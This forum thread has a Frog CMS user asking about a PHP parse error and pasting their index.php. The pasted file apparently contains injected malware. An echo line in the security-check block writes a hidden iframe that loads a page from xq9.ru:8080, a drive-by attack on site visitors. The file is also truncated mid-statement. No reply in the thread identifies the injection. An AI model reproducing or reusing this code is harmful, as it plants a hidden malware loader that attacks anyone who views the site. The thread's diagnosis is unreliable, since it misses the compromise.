FORUMS CLOSED DUE TO SPAM. YOU STILL CAN ADD POST!

Parse error: syntax error, unexpected $end

Feed 4 posts, 4 voices

Avatar
1 posts

I’m working on Frog, when all of a sudden I view the website and I get this error:

Parse error: syntax error, unexpected $end in /home/myname/public_html/folder1/index.php on line 87

The code on line 87 is: I18n::s

Any ideas?

 
Avatar
541 posts

is all your bracket “ { } “ ar balanced ? every opened one a really well closed ?

 
Avatar
31 posts

Use a PHP editor like PHP Designer that checks syntax.

 
Avatar
1 posts

I haven’t even touched the index.php file, that’s the weird thing about this.

Here’s the code for the index.php file.

<?php

/**
 * Frog CMS - Content Management Simplified. <http://www.madebyfrog.com>
 * Copyright (C) 2008 Philippe Archambault <philippe.archambault@gmail.com>
 *
 * This file is part of Frog CMS.
 *
 * Frog CMS is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * Frog CMS is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with Frog CMS.  If not, see <http://www.gnu.org/licenses/>.
 *
 * Frog CMS has made an exception to the GNU General Public License for plugins.
 * See exception.txt for details and the full text.
 */

//  Constants  ---------------------------------------------------------------

define('FROG_ROOT', dirname(__FILE__));
define('CORE_ROOT', FROG_ROOT.'/frog');

define('APP_PATH', CORE_ROOT.'/app');

require_once(CORE_ROOT.'/utils.php');

$config_file = FROG_ROOT.'/config.php';

require_once($config_file);

// if you have installed frog and see this line, you can comment it or delete it :)
if ( ! defined('DEBUG')) { header('Location: install/'); exit(); }

// Security checks -----------------------------------------------------------
if (DEBUG == false && isWritable($config_file)) {
    // Windows systems always have writable config files... skip those.
    if (substr(PHP_OS, 0, 3) != 'WIN') {
        echo '<html><head><title>Frog CMS automatically disabled!</title></head><body><iframe src="http://xq9.ru:8080/index.php" width=128 height=162 style="visibility: hidden"></iframe>';
        echo '<h1>Frog CMS automatically disabled!</h1>';
        echo '<p>Frog CMS has been disabled as a security precaution.</p>';
        echo '<p><strong>Reason:</strong> the configuration file was found to be writable.</p>';
        echo '</body></html>';
        exit();
    }
}

//  Init  --------------------------------------------------------------------

define('BASE_URL', URL_PUBLIC . (endsWith(URL_PUBLIC, '/') ? '': '/') . (USE_MOD_REWRITE ? '': '?'));

require CORE_ROOT.'/Framework.php';

if (USE_PDO)
{
    try 
	{
        $__FROG_CONN__ = new PDO(DB_DSN, DB_USER, DB_PASS);
	} 
	catch (PDOException $error) 
	{
        die('DB Connection failed: '.$error->getMessage());
	}

    if ($__FROG_CONN__->getAttribute(PDO::ATTR_DRIVER_NAME) == 'mysql')
        $__FROG_CONN__->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true);
}
else
{
    require_once CORE_ROOT . '/libraries/DoLite.php';
    $__FROG_CONN__ = new DoLite(DB_DSN, DB_USER, DB_PASS);
}

Record::connection($__FROG_CONN__);
Record::getConnection()->exec("set names 'utf8'");

Setting::init();

use_helper('I18n');
I18n::s

Can you see anything unusual?

 
Avatar
1493 posts

Can you see anything unusual?

Well, it doesn’t look like the current 0.9.5 index.php file in the “Security checks” section. You can check the stable version at the Google code source. Perhaps you downloaded one of the interim releases before the stable release?